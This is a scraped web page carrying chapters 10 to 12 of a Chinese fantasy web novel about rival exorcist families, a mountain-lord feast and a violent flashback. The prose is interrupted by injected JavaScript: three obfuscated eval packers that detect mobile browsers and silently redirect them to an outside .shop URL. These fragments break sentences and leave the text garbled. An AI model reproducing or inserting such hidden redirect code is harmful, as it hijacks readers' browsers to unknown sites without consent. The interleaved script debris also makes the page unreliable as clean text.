$(''#content'').append('' 里面活着年纪到了能办事的只有三个,宜嘉言,宜明喆以及这一代骨瓷宜姜。 这个内网就是宜嘉言弄出来的东西,大部分宜家人全在里面,有时候接任务或者有什么消息都在里面传阅,确保隐秘。 宜姜点开首页的聊天频道,里面刷过不少消息,大都是一些无意义的聊天记录。 但不一会,宜姜看到了什么,把消息往上滑了滑—— “前段时间出任务,居然遇到了鬼打墙。” “加一,有一种莫名其妙被什么东西盯着的感觉。” “奇了怪了,上面俩确定不是在瞎说吗?纯纯制造恐慌。” 宜姜看着这几条久久不动,这几条的定位不在湖南,她点开上面两个人的首页,这段时间他们接的任务也不是在湖南境内。 难不成那个看不见的东西只是缠着我们这几家人?而不是只在湖南这里? 她想了又想,毫无头绪。 电脑突然滴滴了两声,打断了宜姜的思路。 后台突然有消息弹进来—— 宜嘉言:钱已打入账户。 宜姜飞快地拿起手机,银行卡里的确多了一笔钱。 “谢谢大哥!”宜姜确认之后赶紧给宜嘉言发了消息。 是时候问问自己那家店装修得怎么样了,宜姜在手机上拨了个电话出去,那边响了半分钟才接。 “喂,是宜姜小姐吗?”是个陌生女孩的声音。 “我是宜姜,你是……” “我是郁永春的女儿,郁柔怀。是这样的,昨天,我爸不小心从楼梯上滚下来了,右脚骨折,这段时间没办法工作了。我们这正打算给宜姜小姐打个电话,就是剩下我爸爸的工作可以让我来代替做吗?” 宜姜没第一时间回答,问了另外一件事:“房子装修得怎么样了?” “装修很顺利。” “可以,等会你加一下我微信,我把具体的要求和一些资料发给你,不过我也快回去了。你爸爸受伤严重吗?是在哪摔的?” 郁柔怀听到宜姜同意了,心里瞬间松了一口气:“不严重,就是要静养,是在家里摔的,和装修没什么关系。” “行。对了,装修的钱你记得弄个发票,到时候找我报销,钱不够的话和我说也行。” “好的好的。” 挂了电话,宜姜开始焦虑起来,毕竟这可是自己掏了全部暗地里存下来的钱买的店,本来是打算在琉璃厂那买的,安静一点,结果那没人卖房子。 找了几天之后,她和郁永春搭上了线,两个人里,一个着急要钱,一个着急要房子,一拍即合。 郁永春在签合同前就和宜姜说了自己的那些事,宜姜看了看已经算是大跳水的价格,对这一点麻烦也能接受。 结果,不知道是倒霉还是怎么回事,房子刚买来没多久,事情就一大堆出现了。 看来是时候要去庙里拜拜了,宜姜沉着脸思考。 但还是算了,要是被人知道她去拜别的神,还是那种正经庙里的,指不定又出什么事情。 宜姜叹了一口气,把电脑什么的都关上了,正准备睡觉呢,她突然感觉到一丝不对劲。 那个东西又来了。 宜姜默默地动了动手,但想到什么又放下了,只是在手机上发了一条消息出去。 不一会,门口传来了急促的敲门声。 “是我,梅询。” 宜姜没说话。 门口的声音也一下子安静了下去。 不一会儿,宜姜就看见自己房间的门把手被一股看不见的东西往下压。 门,开了。 11. 第十章 梅询一下子冲进来,眼睛直直锁定住在床上的宜姜。 “怎么样?你没事吧?” 宜姜一脸后怕地说:“幸好你来得及时。” 梅询确认人没事之后,闭上眼感受了一下,这里没有那个东西。 “它已经走了。” 宜姜从床上下来,赤着脚踩在地上,她歪了歪头:“你是怎么打开的门?” 梅询反应过来了,宜姜在试探他:“就,捉妖师的一些法子。” 说完,他像做错了什么事一样低下了头。 宜姜看着这样的梅询,觉得是不是自己做得有点过分了。 刚刚一刹那,她的确是感受到了那个东西的存在,但也就一秒,瞬间就没了。 她本来是想自己去找找,后来想着不如借这个机会再试探一下梅询,毕竟,他遇见这个东西的时间可比所有人都要早。 但现在…… 宜姜舔了舔唇,刚想说些调动气氛的话,梅询却先开口了。 “先穿拖鞋吧,地上凉,而且还脏。” 说着,梅询弯下腰把拖鞋拿起来放在了宜姜边上。 宜姜看着他,梅询冲她露出一个笑。 “我知道,做你们这行的,要保证什么事情都万无一失才可以。这也挺好的,有戒备心是个好事。” 宜姜穿上了拖鞋,还是看着梅询不说话。 梅询继续说道:“在我师傅没死之前,我一直跟着他练捉妖师的一些东西,但是上大学之后,我就没有再干过这方面的东西了,直到这次山君帖。我之前说过的关于那个东西和捉妖师,都没有骗你。再说了,学委,同学之间,骗人干什么呢?” 他的最后一句话直接让宜姜直接笑了一下,随后,宜姜正了正脸:“你没骗我就好,还有,对不起,不该时不时怀疑你的。” “原谅你了。”梅询飞速接了一句。 许是这段时间梅询说话都太过一本正经了,突如其来的一句“原谅你了”让宜姜忍不住挑了挑眉。 梅询开始说正事:“你刚刚感应到那个东西在哪里?” 宜姜指了指窗帘:“在那,一闪而过,就和我之前遇见的差不多。” 自己那个时候似乎没有这样,梅询回忆了半天:“我最开始,就是感觉被人盯着,没有这种一闪而过的事情发生。” “也许这两个东西品种不一样,又或许,它发现这里有另一个同类。”宜姜边说边走到窗户边,把帘子一把拉开,露出外面黑沉沉的夜色。 宜姜转过头问:“你觉不觉得,这里实在过于安静了?” 梅询跟着走到窗边,他打开了窗户,外面静悄悄的,什么声音都没有,连风都停滞了。 他的脸色凝重起来:“太安静了。” 宜姜把一根手指抵在唇上,对着他嘘了一声,然后指了指外面的天。 梅询顺着她指的方向看过去,那里依旧是浓重的墨色,什么都没有出现。 “仔细看,这个场景可少见得很。” 梅询认真观察着,不对,那墨色里有什么东西在动,他死死睁开眼睛,终于还是看清楚了,天边有个巨大的黑色轮廓在不停翻滚着。 “这是什么?” 宜姜趴在窗户上,整个人都松懈了下来,她回答道:“传说中的龙。” 龙? 梅询愣了愣,又仔细看了看那个大轮廓,怎么看都不像是龙的外形。 “龙山县是个崇拜龙图腾的地方,又是辰旗之地,加上这里峰峦起伏,很容易养出一些超现实的东西,而这里的人叫那些东西为龙。” “那东西是活的?” 宜姜转过头,把目光移向梅询:“不知道,谁也不知道,毕竟,我们只能看见那东西。不过,有些人会执着于探寻这些神秘的事情,像宜家,前几代就有几个人比较关注这些,全部都记录了下来。” 末了,宜姜笑了一下:“就当是个解闷的玩意儿吧,毕竟也是难得一见。” 梅询盯了那个东西一会,发现它只会动来动去,其他什么没有发生。 “这个什么时候结束?” “一个晚上就没了。” 宜姜打了个哈欠,正准备送客,梅询却一脸古怪地转过头。 “那东西,应该只是一个轮廓,不会出现其他什么之类的吧?” “嗯?”宜姜不理解。 梅询指了指外面,宜姜又凑到窗户边,那个地方不只有一个黑色轮廓了,反而时不时有闪电划过,动作也越发激烈起来。 那是什么啊? 宜姜皱着眉头,盯着那出神,总感觉那有人在捉龙。 “捉?龙?”梅询的声音都高了几度。 “应该是。”宜姜不知道从哪掏出一个望远镜,对着那个地方仔细看着,“没错,这个闪电,应该是符咒什么的吧,道家的东西,看到人了,就是在捉龙。” 说完,宜姜把望远镜递给了旁边的梅询,梅询一看,果不其然,那团黑雾里有几个小小的人影。 “不是说只能看?” 宜姜把窗户关上,又把帘子拉起来,这才回答梅询的问题:“是只能看啊,所以,他们是捉不到的,只是有人一直不死心,毕竟那可是传说中浑身是宝的龙诶。” 梅询:“但这个龙更像是一种天气现象。” “宜家之前也有人这样猜测过,不过都没有办法证实。” 宜姜看了看时间,已经很迟了:“不早了,你可以回去休息了,明天还要去拜帖呢,那也是个麻烦事。” “那,我先走了,晚安,宜姜。” “嗯,再见。” ****** 第二天一早,梅询就起来了,这是这一年里养成的作息,打零工的工作大部分都是需要早起的。 宜姜还在睡着,反正中午吃完饭才出发,她直接在床上睡到了中午。 等她迷迷糊糊揉着眼睛打开门的时候,梅询已经什么东西都收拾好了。 宜姜看了一眼换了一套衣服的梅询,评价道:“衣服不错。” 梅询的嘴角微微上扬,但宜姜的下一句话让他瞬间放下。 “俟裕选衣服的眼光还行。” 梅询开始转移话题:“我们先吃个饭?你东西都收拾好了吗?我现在一起搬下去。” 宜姜把头发随意扎了扎,戴上了口罩帽子,她今天穿的又是一身黑:“行啊,去吃饭,东西都好了,我自己拿就行。” 两个人把东西搬到了车的后备箱,接着就找了个饭店吃了顿饭,顺道买了奶茶。 宜姜手里拿着奶茶,一上车就愉快地把口罩摘了,喝了一大口奶茶,整个人都笑眯眯的。 梅询把吸管戳进杯子里,浅浅吸了一口,余光看着宜姜的侧脸。 “好啦,我们出发。” 可能是因为昨天晚上睡够了,宜姜今天的状态好了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470803|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,整个人都容光焕发。 梅询原本安静地在副驾捧着奶茶喝,突然间,他转过头问:“这个拜帖,具体是做什么的啊?” 宜姜挑了挑眉:“我还以为你都知道山君宴了,这些东西都会知道呢。” “只知道大概流程,具体的过了五年多,我也不太记得了。” 宜姜神色认真地解释:“拜帖呢,是向山君表示自己这一家来不来参加宴会。有事情没办法参加的就会带上一份礼物来赔礼,全了礼节;要参加的也会派人来这里和山君说一声,保证接下来自己都会来参加,这样山君才好安排最后的位置。” “这也感觉太过于正式了。宴会一直以来都是这样的拜帖吗?” “是啊。”宜姜点点头,继续说,“所以拜帖会持续很久,就是怕有人赶不上。” 梅询评价:“那还挺人性化的。” 的确挺人性化的,完全顾及了一些住在偏远地区的人。 “不过。”梅询又问道,“这个山君娶亲娶的是谁啊?” 宜姜最开始的时候也疑惑过这个问题,她当时在楼里翻了所有资料,都没有这个娶亲对象的介绍,甚至都没有提到,唯一提到有点相关的就是“三合吉日,山君娶亲”这句话。 再后来,她特意去问了宜骨旭,毕竟他是上代骨瓷,也许还知道些什么,但宜骨旭认知里的山君宴就是一场以山为生的人家一起联络感情的宴会,他甚至都不知道什么山君娶亲。 所以,宜姜之前和梅询解释的时候也是前后颠倒地乱说。 想到这,宜姜回答:“我也不知道,我们那的资料都是矛盾的,只有具体流程比较清楚一些。” 停顿了一会之后,她继续说:“不过,按照现在的结果来看,这场宴会,其实对我们而言都差不多,我们只是凑数的,你不用担心。” 梅询点点头,后来反应过来宜姜在开车看不到,他一字一句说道:“好,我知道了。” “关键在那个看不见的东西身上。你这一年,真的没发现那个东西有什么特别的吗?”宜姜觉得这话好像也和昨夜试探差不多,又补了一句,“不是试探你,就单纯问问。” 梅询低头无奈地笑了笑:“我知道的,你没有那个意思在。这一年,我光躲着那个东西了,因为躲着,所以也就什么都没发现。不过,人特别多的时候,那个东西不太会出来。” 特别多的人,宜姜思考,感觉有点像是鬼,怕阳气什么的,但那个东西明明不是鬼啊。 两个人说了一通,进度为零。 宜姜拿起奶茶喝了一口,边嚼珍珠边说话:“等会到惹巴拉了,你是和我一起下去去拜帖,还是我们俩一前一后?” “拜帖一定要一个一个吗?” “那倒没有这个规定。” 梅询笑着说:“那就一起吧,因为我也不是很懂这个,要拜托你了。” “也不用这样说,毕竟这个宴会我也是第一次参加。” 接下来一路,两个人都没怎么说话,快到目的地的时候,宜姜把口罩又戴了上去,整个人又捂得严严实实。 梅询看着这样的宜姜,就和前不久的第一次见面一样,他还是忍不住又问了一遍:“宜家做任务这么危险吗?需要捂那么严实?” “骨瓷出任务都基本没什么危险的地方,主要是不想被人看到我的脸,就像我之前说过的,我不希望我的生活和我的工作扯上任何关系。” 12. 第十一章 惹巴拉,在苗语中代指“美丽美好的地方”。 惹巴拉景区,相传是五代时期部落首领惹巴冲王城所在地,景区内有着最具特色的明清古建筑群,宜姜两人的目的地却不是整个景区,而是里面的惹巴拉宫,以及,景区进去需要买门票。 被拦在景区外面的两个人对视了一眼,这个宴会看起来现在更像玩一样的了,谁参加宴会还要付门票钱? 宜姜扫码付了钱,他们才被放进去,路上也没多少人。 整个惹巴拉宫呈现出一片黑色,人一眼望过去,压迫感很强,雕梁画栋,飞檐翘角,很是壮观。 梅询第一次看到这样黑色的大型古建筑群体,在原地看了好一会才缓过来:“这地方,挺气派。” 宜姜把口罩往上拉了拉,声音闷闷地说:“走吧。” 两个人往里面走进去,看得多了,梅询也察觉了出来,这地方适合做影视基地,拍照很不错,那些民族历史风味却没有那么足,但瑕不掩瑜。 “我们具体在哪拜帖?”梅询边观察着周边边轻声问。 宜姜:“我不知道,山君帖上就只指到这里,我们得先到处走走,没准就能看到了。” 惹巴拉宫很大,游客很少,沿着路往前走,满眼都是诡异的雕刻,对比背景里翠绿色的大山,显得更加阴森了。 “这地方真的是新建的吗?” 宜姜用手轻轻拂过建筑表面,点点头:“是扩建,还带着之前的一些痕迹。” 说着,两个人继续往里走,远远的,宜姜看到在握手堂前面那个大广场上摆了张桌子,有个人坐在那。 走近了两个人才看清楚,那个人长得非常普通,看过一眼就完全忘记长相了,应该是山君拜帖的记录员,桌子上有本摊开的本子,横线类型的,旁边还摆着一根毛笔。 这个时候,从左边突然上来了一个人,宜姜条件性地拉住了梅询:“让他先去。”。 来人是个男性,长头发,背着一个黑色双肩包,手里拿着一个绿色的礼盒,听到动静,他转过头往宜姜这里看了一眼,接着收回目光径直朝记录员走过去。 那是一张很漂亮的脸,有种雌雄莫辨的美,宜姜忍不住盯着看了一会,梅询看着那个男人,又看了看宜姜,垂下了头。 “半山当铺,追瘦猫,这是赔礼。” 男人把礼盒轻轻放在桌子上,和记录员说了这样一句话。 记录员看了看男人出示的山君帖,拿起毛笔在册子上写了什么,写完抬头说:“我们山君说,当铺的人来了不用收赔礼,您拿回去吧。” 男人玩味地笑笑:“那可不行,我们掌眼也说了,礼数要全。” 记录员没再说什么了。 “不过,我多嘴一句,你们的山君是真实存在的吗?” 听到这话,记录员眉头紧锁:“请注意你的说辞。” “好好好。”男人把礼盒往里推了推,“反正东西我是带到了,你们怎么处理是你们的事。” 宜姜自从听到半山当铺四个字,本来已经移开的视线又转回到那个男人身上。 梅询突然开口:“半山当铺,是什么?” “一座不知道开了多久的当铺,据说能当一切东西。” 宜姜回答,但眼神还是盯着那个男人不放,当铺的人和山君居然也有关系,甚至这个所谓的山君对待当铺很是特殊。 梅询在一旁打断了她的思考:“是不是该我们上去登记了?” 那个漂亮男人已经走远了。 宜姜点点头,两人朝记录员那走过去。 宜姜把山君帖递给他:“宜家,骨瓷,赴宴。” 等记录员在册子上写完了,梅询也学着宜姜的样子说道:“捉妖师,妖梅,赴宴。” 都记录在册之后,记录员却突然开口留住了正要转头走的两人:“骨瓷和妖梅,上次宴会是不是也来了?” 宜姜虽然疑惑,但还是开口回答:“宜家参加了。” 但另一旁的梅询在脑子里想了半天,师傅好像没和他讲来着,他只好说:“我不确定来没来。” 记录员只问了这一个问题,接着又沉默了。 两人疑惑地对视了一眼,完全不理解这个问题的意义。 但看着周围多出来的人,宜姜拉着梅询往反方向走。 人一多麻烦事也多。 好不容易回到车上,宜姜有一种终于结束这一遭的感觉,但事实上这场宴会才刚开始。 “之前那个半山当铺的人你认识?”梅询忍了半天还是问道。 宜姜摇摇头:“不认识,只是之前我和当铺打过交道,有点好奇,当铺居然也是山君帖的邀请人。” 半山当铺,梅询在心里默念了好几遍,毫无印象,但看宜姜的表现,这应该是个很有名的势力。 接下来的一路上都没人说话。 “到了,芙蓉镇的站点,等会你自己下车,我就不送了。”宜姜把车子靠边停下,指了指对面的站台和梅询说道。 “嗯,好。”梅询低着头,看不清他的神色。 他沉默地解开自己的安全带,一直默默低着头。 宜姜心软开口:“路上小心。要是我这有那个东西的消息了我会和你联系的。” 梅询瞬间停住了,转过头盯着宜姜的眼睛:“那我如果有什么进度要怎么和你联系?” “你不是有我微信吗?微信上和我说就行了。” “那个微信是你常用的吗?因为我好像都没见你发过朋友圈。” 宜姜上下打量了一下梅询,接着说道:“是我常用的。我不怎么发朋友圈,不是屏蔽你。” 梅询浅浅笑了一下:“好,我知道了。那,宜姜,再见。” “等等,你等会把银行卡号发给我,我把钱转给你。” 宜姜看着梅询拎着东西进到高铁站里面,手机上也正好跳出一条消息,是梅询发过来的卡号。 确认没什么漏掉的了,宜姜把车窗又关上,启动了车子。 而在高铁站里,梅询站在入口处,却没进去,只是沉默地看着外面那辆车子远去。 不一会儿,手机里发过来了一条消息,是银行卡的入账提醒,宜姜说过的那笔钱一分不少地打了进来。 而且,除了那笔钱之外,还有梅询之前付的饭钱。 梅询慢慢地耸起肩膀,笑了起来。 末了,他拨了个电话出去:“喂,是我,你之前说的事情,我答应了。” ****** 来的时候没人说话也没觉得孤独,回去的时候却觉得实在太安静了些,宜姜沉默地开着车,时不时往窗外看过去。 外面的天色渐渐黑了,宜姜木着一张脸,整个人被印在车窗上,她久久地叹了一口气。 开了一个多小时,宜姜没走直接回龙山县的那条路。 刚从高速下来没开多久,宜姜已经频频看了后视镜好几眼了,后面有辆车从芙蓉镇就开始一直跟着,现在也是,有点麻烦了。 宜姜看了看周围的环境,这有监控啊,有点难办,她把车猛地一转往一条小路开了进去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470804|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >后面的车子一时不查多开了几米,反应过来之后也紧跟着宜姜一头扎进那条小路。 两辆车就这样一前一后在小路上行驶,震起一路的灰尘,又诡异地不紧不慢开着。 宜姜看了看周围,已经足够偏僻了,她踩下了刹车。 后面车上的人眯着眼也停下了。 他是从酒店就注意到宜姜的,在外面暴露身份的宜家骨瓷可不多见,身边只跟着一个人的更是少见。 但当时察觉到宜姜身边跟着的那个男人是守鞘的之后,他其实也歇了这种坏心思,毕竟没点本事谁会做宜家守鞘。 谁曾想,在惹巴拉去拜帖的时候,他居然发现那个男的不是守鞘,而是妖梅,更巧的是,那个男的现在还和宜姜分开了。 天时地利人和,这么好的机会,要是这事能成,他下半辈子都不用愁了,甚至,只要操作得好,自己在组织里地位还能再往上升升。 想到这,郭涌的心火热了起来,他从旁边拿上了自己的家伙事,兴冲冲地开车门下去。 宜姜已经下车了,她耸了耸鼻子,这个奇怪的味道,是赶尸人。 郭涌一下车就二话不说直接朝宜姜冲了过来,两个人的距离瞬间被拉近,宜姜不急不缓地往后退了几步避开了他手上的东西。 那是一只摄魂铃。 郭涌动了动手腕,诡异的铃声响起,宜姜猛地低下头,那个铃声能让人失去身体的控制权。 算了,速战速决,宜姜原本慢吞吞的动作瞬间快了起来,她把帽子一摘扔到地上,莫名地在自己眉间点了一下,隐隐的,郭涌好像看到什么东西在翻涌。 郭涌咬牙再次用力摇了摇摄魂铃,接着嘴里开始念起一串呓语。 宜姜从旁边的树上折了一根小树枝下来,树枝上还带着几片叶子,拿在手上柔软地往下垂,显得脆弱又无害。 接着,宜姜快速地朝郭涌冲过去,围着他用枝条快速点了六下,神奇的是,那只摄魂铃慢慢地停了下来。 郭涌震惊之余也飞快往后退去,宜家骨瓷会这个吗?资料里没说啊。 宜姜没给他时间发呆,拿着那根枝条再次冲了上来,直直地甩向他的眼睛。 “啊!” 郭涌捂着眼睛嚎叫了一声,眼睛密密麻麻的痛觉开始向全身蔓延,他强撑着拿出一把匕首,盲眼朝之前宜姜站着的位置扎过去,但这样激烈的攻击却被宜姜用枝条轻飘飘地化解了。 一根桃树枝怎么会有这么大的力量? “不……不对……你……你是……” 那个人惊恐的话瞬间顿住。 宜姜面无表情地盯着已经被自己打晕过去躺在地上的人,思考了一会之后,把人捆紧塞进了后备箱。 做完这一切,她给俟裕打了个电话,交代他找人来这里接手一辆车,接着她若无其事地继续开车前往惹巴拉。 夜晚的惹巴拉宫阴暗又狰狞,宜姜却不着急下车,她把帽子口罩全都摘下,从后座那堆东西里拿了件红色的外套穿上,又掏出一个墨镜,最后不知道从哪里拿出一管口红,往自己唇上抹了抹,对着后视镜抿了一下。 这些都做完了,宜姜才下车,走了几步之后觉得不太对劲,她又把头发散开了。 白天见过的那个记录员依旧还在那坐着,只是桌子上多了一盏照明的油灯,许是察觉到有人过来了,记录员抬起头。 宜姜递过去一张山君帖,上面却不是宜字,而是一个“姜”。 宜姜朱唇轻启,慢慢说了几个字—— “姜家,桃花,赴宴。” 13. 第十二章 十五年前,深夜。 两道身影在林子里飞奔,脚步急促,仿佛只剩下了粗重的呼吸声。 突然,其中一个人脚崴了一下,直接摔在了地上。 “阿桃!”宜骨旭瞬间停下脚步,腾出一只手去扶摔在地上的姜桃。 姜桃忍着疼,抓着他的手站了起来,之前受伤的地方还在隐隐作痛。 “还行吗?” 姜桃喘着气:“可以的,旭哥,我们快跑,他们还没追上来。” 宜骨旭看着脸色明显惨白的姜桃,说了一句:“阿书,你下来,我背着你。” 在月色的照映下,原本埋在宜骨旭怀里毫无存在感的小孩子抬起头:“好。” 那个被叫做“阿书”的孩子很快下来爬上宜骨旭的背,两只手牢牢地抓住他的脖子,就像只猴子一样。 宜骨旭不由分说直接把姜桃抱了起来,对两个人交代道:“都抱紧我。” 山上林路难走,更何况宜骨旭身上还挂了两个人,渐渐地,他的速度越来越慢,越来越慢。 姜桃白着一张脸:“旭哥,你先放我下来,这样我们都跑不了。” 宜骨旭额头上落下几滴汗,咬牙走了几步,终于还是坚持不住放下了姜桃。 姜桃把阿书从宜骨旭身上抱了下来:“我们休息休息,他们没那么快找到这里的,跑之前我做了点手脚。” 话还没说完,原本阴暗的林子突然亮了起来,一道刺眼的光直直朝他们照了过来,宜骨旭条件性地挡在两个人前面。 一道沧桑的声音从光亮处传了出来:“我们的骨瓷,真是让人好找啊。” 宜骨旭一听到这个声音,呼吸声都剧烈了起来。 宜念真往后面挥了挥手,几个人把手电筒往四周照去,这个地方瞬间亮如白日。 “怎么?出去这几年,连我都不认识了?” 宜骨旭现在的脸色比旁边受伤的姜桃还要惨白,姜桃察觉到了什么,上前几步握住了他的手。 宜骨旭转头看了一眼姜桃,这才语气恭恭敬敬地回答:“族长好。” 宜念真气笑了:“好好好,我这是生了个不认娘的畜牲啊。” “妈。”宜骨旭突然跪下,给宜念真磕了好几个头,“算儿子我求你,你放了他们吧,我跟你们回去。” 宜念真旁边的一个中年男人,长得和宜骨旭有几分相似,他开口:“小旭回来可以,你把那个孽种和那个姜家的弄死,我们就可以当做什么都没发生。” 宜骨旭抬头看向那个男人,眼睛里红血丝遍布,他嘶哑着声音吼道:“大伯!” 宜念真冷笑了一声,制止了两个人。 “回不去了,宜骨旭,你应该知道,就算我放过了你们,姜家也不会放过的。” 许是知道再怎么求也没用了,宜骨旭对着宜念真重重地磕了几个响头,然后爬了起来,挡在两个人面前。 宜念真在心里叹了一口气,这是绝亲了。 姜桃担忧地看着宜骨旭,往前走了几步,盯着宜念真的眼睛说:“这一切都是我策划的,我可以去死,你们留旭哥和阿书一条命好不好?” 宜骨旭瞬间抓住姜桃的手。 宜念真冷笑了一声,在这个林子里格外明显:“你策划的?我自己生的儿子我自己不知道?一个巴掌拍不响,错也是两个人同错。” 宜骨旭把姜桃拉回身后:“要死一起死。” 宜念真盯着他们三个人,不说话。 宜骨旭这个时候发觉了不对劲,为什么宜念真还在等着,她在等什么东西? “啪–啪–啪” 突兀的掌声在他们身后响了起来,宜骨旭一转头,身边姜桃的脸色瞬间冷了下去。 一群穿着黑色斗篷的人突然出现在那,为首的男人一直鼓着掌。 姜桃嘴里无声地开口:“师傅。” 这是姜家人。 怪不得自己逃之前布下的东西那么快就被人破解了。 姜桃心里一紧,今天这一遭,他们是逃不过了,她下意识握紧了宜骨旭的手,把阿书往自己这带了带。 看着这一对苦命鸳鸯,姜阁杨停下了鼓掌的手,把自己的斗篷帽子放了下来,斗篷下面是一张冷冰冰的脸。 后面的姜家人也齐刷刷地把脸露出来。 宜念真对着姜阁杨说:“人是都找到了,接下来就是怎么做了,我们宜家的我们自己负责。” “好久不见啊,小桃儿。”姜阁杨死死盯着姜桃,抽空回了宜念真一句,“我们姜家的自然也就姜家自己解决。” 宜骨旭心里一沉,现在这个状况已经超出他们之前预想的了,宜、姜两家仇敌居然有朝一日会为了抓他们而合作。 姜桃比旁边的宜骨旭想得还要清楚,毕竟当初她为了从姜家逃走,可弄死了不少东西,姜家人这是有多恨她才会和宜家合作。 到了现在这个地步,他们之前做过的计划全都没有用了,姜桃把阿书往外推了推,正要说些什么,宜骨旭却突然抓住了阿书的肩膀,对着姜桃不留痕迹地摇了摇头。 姜桃只好把动作停下,再次把阿书往自己怀里带了带。 这个动作引起了宜、姜两家人的注意。 “这就是那个孽种?”姜阁杨把视线落在那个阿书身上,还是个女孩子,阿书一直低着头。 “你要干什么!”姜桃条件性地把阿书抱得更紧了。 姜阁杨笑了一下:“别紧张啊,小桃儿。” 宜念真不耐烦地开口:“好了,别叙旧了,你们那决定要怎么做?” “自然是……”姜阁杨拉长了声音,“不听话的东西杀掉就是了,免得还占着位置。” 宜念真把目光重新落回到宜骨旭身上,不悲不喜地说:“宜家也已经经过裁决了。” 虽然没说裁决的内容,宜骨旭却知道那个结果是什么了。 “为什么?”他不可置信地望着宜念真。 宜念真这个时候浅浅弯了下嘴角:“你还记得,你成为骨瓷之后,我教你的第一件事是什么吗?” 宜骨旭努力回忆着,那个时候,宜念真说的是…… 宜念真说了出来:“骨瓷有骨瓷的责任。而你,在几年前抛弃了族里所有人,所以,族里也只好也放弃你了。” 听到这个答案,宜骨旭冷笑了一声:“我从来就不想成为骨瓷。” “但是,你是被选中的那个人,没有资格拒绝。” 宜念真旁边的男人啧了一声,打断了他们的话:“族长,什么时候开始砸瓷?” 另一边,姜阁杨却不说话,只是盯着姜桃和她怀里的孩子,目光犹如蛇一般纠缠着她们俩。 姜桃气血一翻,之前为了从宜家的包围圈逃出来,她用了不少力气,也受了点伤,她努力咽下嘴里的血。 阿书察觉到了什么,抬起头看她。 “没事,没事,别怕。”姜桃摸着阿书的脑袋安慰道,眼神却一直在环顾四周。 宜念真看姜家迟迟不动手,自己这又有人在催。 她轻轻往后摆了摆手,很快,就有人端着一个盒子出来,宜念真把盒子打开,里面是一块碎瓷片,但却意外地油亮透顶。 宜骨旭认命般地低下头。 姜桃闭上眼,再睁眼的时候,她眼里满是杀气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470805|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她一把拉过宜骨旭,把孩子往他怀里一推。 “旭哥,走!” 但姜桃还没来得及做出动作,下一秒,她的手就被一支桃枝穿过。 “阿桃!” “啊!”姜桃疼得捂着手跪在地上。 姜阁杨笑了笑:“小桃儿,用我教你的法子来逃跑,你想的也太简单了。” 宜骨旭慌里慌张地扶起姜桃。 两个人都一脸恨意地盯着宜、姜两家人。 姜阁杨伸了伸懒腰,直接冲姜桃冲了过去,一把把旁边的宜骨旭拉开,三五下的功夫,他就把姜桃的手筋给挑断了。 “疼,好疼……”姜桃挣扎着。 宜骨旭冲上去,却被姜阁杨一脚踢开。 “够了。”宜念真吼了一句,“杀就杀,不用这样玩弄。” 姜阁杨冷哼了一声:“哼,假正经。” 虽然说是这样说了,但姜阁杨还是停下了动作。 “把剑给我拿过来,今天,姜家,清理门户。” 姜家有人递过来一把木剑,是纯黑色的,看上去平平无奇。 姜桃努力抬起头,往宜骨旭那爬了几步,实在没力气停在了半路。 宜家人已经把宜骨旭拖到了一边,两三个人架着他,他眼睛死死瞪大,拼命挣扎着。 阿书一个人被留在了那,没有人注意到她。 姜阁杨拿着那把木剑先是在自己手上划了一道口子,紧接着用沾了自己血的剑直直朝姜桃的眉心刺过去。 但这一剑刺得不深,只堪堪没入眉心,姜桃却表现得比之前还要痛苦,她表情狰狞,宛如恶鬼。 姜阁杨却也不停,把剑拔出来之后,又朝姜桃刺过去,这一次,他刺的地方是心脏。 而在这一刻,一个小身影挡在了剑和姜桃中间。 姜阁杨一时来不及收手,那把剑只偏了一半,还是朝那个人刺过去。 但诡异的是,剑没能刺进去,剑上的血也突然沸腾起来,化作了一股血雾,在空中散去了。 姜阁杨一脸震惊地看着那个孩子,同时又摸了摸那把木剑,接着,他不可置信地蹲下身,在阿书的眉心周围点了好几下。 姜桃挣扎着,把阿书抱在怀里,自己虽然已经疼得发抖了,但还是把阿书抱得紧紧的。 宜念真察觉到这里的动静,就算是宜、姜两家不合,但这种表现,她还是能知道些什么的,那个孩子,是姜家新一代的桃花,这下,姜家人有得头疼了。 顾不得姜家人的事情,宜念真拿起盒子里的那个碎瓷片,朝着被死死架住的宜骨旭走了过去。 她把碎瓷片抵上宜骨旭的脖颈,慢慢地用力,宜骨旭随着伤口流出来的血在被那个碎瓷片吸收。 宜念真正要再用力,那个瓷片却突然发出一道光,直直朝阿书撞了过去,最后没入她身体里。 这下,宜家人都沸腾了。 几个原本架着宜骨旭的人都震惊地松开了手,宜骨旭挣扎着出来,一边捂着脖子一边朝姜桃爬过去。 